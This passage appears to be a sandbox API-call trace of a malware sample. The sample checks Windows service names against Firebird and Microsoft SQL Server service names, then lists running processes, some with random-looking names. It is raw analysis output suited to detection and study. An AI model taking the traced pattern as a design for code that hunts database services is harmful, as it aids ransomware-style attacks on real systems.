(lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0129.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0129.233] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0129.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0129.233] lstrlenW (lpString="Power") returned 5 [0129.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0129.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0129.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0129.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0129.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0129.233] lstrlenW (lpString="ProfSvc") returned 7 [0129.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0129.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0129.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0129.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0129.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0129.234] lstrlenW (lpString="RpcEptMapper") returned 12 [0129.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.234] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0129.234] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0129.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0129.234] lstrlenW (lpString="RpcSs") returned 5 [0129.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0129.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0129.234] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0129.234] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0129.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0129.234] lstrlenW (lpString="SamSs") returned 5 [0129.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0129.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0129.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0129.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0129.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0129.234] lstrlenW (lpString="Schedule") returned 8 [0129.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0129.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0129.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0129.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0129.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0129.234] lstrlenW (lpString="SecurityHealthService") returned 21 [0129.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0129.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0129.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0129.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0129.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0129.235] lstrlenW (lpString="SENS") returned 4 [0129.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0129.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0129.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0129.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0129.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0129.235] lstrlenW (lpString="ShellHWDetection") returned 16 [0129.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.235] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0129.235] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0129.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0129.235] lstrlenW (lpString="Spooler") returned 7 [0129.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0129.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0129.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0129.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0129.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0129.235] lstrlenW (lpString="SSDPSRV") returned 7 [0129.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0129.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0129.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0129.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0129.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0129.236] lstrlenW (lpString="StateRepository") returned 15 [0129.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0129.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0129.236] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0129.236] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0129.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0129.236] lstrlenW (lpString="SysMain") returned 7 [0129.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0129.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0129.236] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0129.236] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0129.236] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69ab58 | out: hHeap=0x5a0000) returned 1 [0129.236] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1028 [0129.269] Process32FirstW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.270] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.271] lstrlenW (lpString="System") returned 6 [0129.271] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.271] lstrlenW (lpString="smss.exe") returned 8 [0129.272] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.272] lstrlenW (lpString="csrss.exe") returned 9 [0129.272] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.558] lstrlenW (lpString="wininit.exe") returned 11 [0129.558] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.559] lstrlenW (lpString="csrss.exe") returned 9 [0129.559] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.560] lstrlenW (lpString="winlogon.exe") returned 12 [0129.560] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.561] lstrlenW (lpString="services.exe") returned 12 [0129.561] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.562] lstrlenW (lpString="lsass.exe") returned 9 [0129.562] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.562] lstrlenW (lpString="svchost.exe") returned 11 [0129.562] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0129.563] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0129.563] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0129.564] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0129.564] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.564] lstrlenW (lpString="svchost.exe") returned 11 [0129.564] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.565] lstrlenW (lpString="dwm.exe") returned 7 [0129.565] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.566] lstrlenW (lpString="svchost.exe") returned 11 [0129.566] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.567] lstrlenW (lpString="svchost.exe") returned 11 [0129.567] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.567] lstrlenW (lpString="svchost.exe") returned 11 [0129.567] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.568] lstrlenW (lpString="svchost.exe") returned 11 [0129.568] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.569] lstrlenW (lpString="svchost.exe") returned 11 [0129.569] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.570] lstrlenW (lpString="svchost.exe") returned 11 [0129.570] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.571] lstrlenW (lpString="svchost.exe") returned 11 [0129.571] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.572] lstrlenW (lpString="svchost.exe") returned 11 [0129.572] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.573] lstrlenW (lpString="svchost.exe") returned 11 [0129.573] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.574] lstrlenW (lpString="spoolsv.exe") returned 11 [0129.574] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.575] lstrlenW (lpString="svchost.exe") returned 11 [0129.575] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.576] lstrlenW (lpString="svchost.exe") returned 11 [0129.576] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.577] lstrlenW (lpString="audiodg.exe") returned 11 [0129.577] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0129.578] lstrlenW (lpString="sihost.exe") returned 10 [0129.578] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.579] lstrlenW (lpString="svchost.exe") returned 11 [0129.579] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.580] lstrlenW (lpString="taskhostw.exe") returned 13 [0129.580] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0129.581] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0129.581] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0129.582] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0129.582] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.583] lstrlenW (lpString="explorer.exe") returned 12 [0129.583] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0129.584] lstrlenW (lpString="Memory Compression") returned 18 [0129.584] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0129.585] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0129.585] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0129.586] lstrlenW (lpString="SearchUI.exe") returned 12 [0129.586] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0129.587] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0129.587] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.588] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0129.588] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.589] lstrlenW (lpString="taskhostw.exe") returned 13 [0129.589] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0129.590] lstrlenW (lpString="UsoClient.exe") returned 13 [0129.590] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0129.591] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0129.591] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0129.609] lstrlenW (lpString="msoia.exe") returned 9 [0129.609] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.610] lstrlenW (lpString="taskhostw.exe") returned 13 [0129.610] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0129.611] lstrlenW (lpString="msoia.exe") returned 9 [0129.611] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0129.612] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0129.612] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0129.613] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0129.613] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0129.614] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0129.614] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0129.615] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0129.615] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0129.616] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0129.616] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0129.618] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0129.618] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0129.619] lstrlenW (lpString="concerned venture.exe") returned 21 [0129.619] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0129.620] lstrlenW (lpString="organizingscsi.exe") returned 18 [0129.620] Process32NextW (in: hSnapshot=0x1028, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0129.621] lstrlenW (lpString="airplane placing.exe") returned 20 [0129.621] Process32NextW (in: 